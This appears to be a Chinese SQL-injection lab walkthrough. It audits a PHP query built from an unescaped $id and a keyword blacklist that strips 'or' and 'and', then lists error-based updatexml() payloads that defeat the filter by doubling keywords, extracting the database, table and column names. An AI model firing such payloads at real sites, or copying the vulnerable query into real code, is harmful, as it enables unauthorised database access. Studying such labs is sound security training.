一、代码审计
1、这个是代码和数据库交汇的地方,可以快速判断注入点和闭合方式
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
2、这个是使用了正则匹配过滤掉and和or,i则是大小写都过滤
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
二、SQL注入
1、获取数据库
这里我们通过双写绕过过滤,双写相当于你过滤掉了一个and,但还保留一个and
?id=1' aandnd updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
2、获取数据表
这里infoorrmation里面的or使用双写,注意重点
?id=1' aandnd updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),0x7e),1)--+
3、获取字段
?id=1' aandnd updatexml(1,concat(0x7e,(select group_concat(column_name)from infoorrmation_schema.columns where table_name='users'),0x7e),1)--+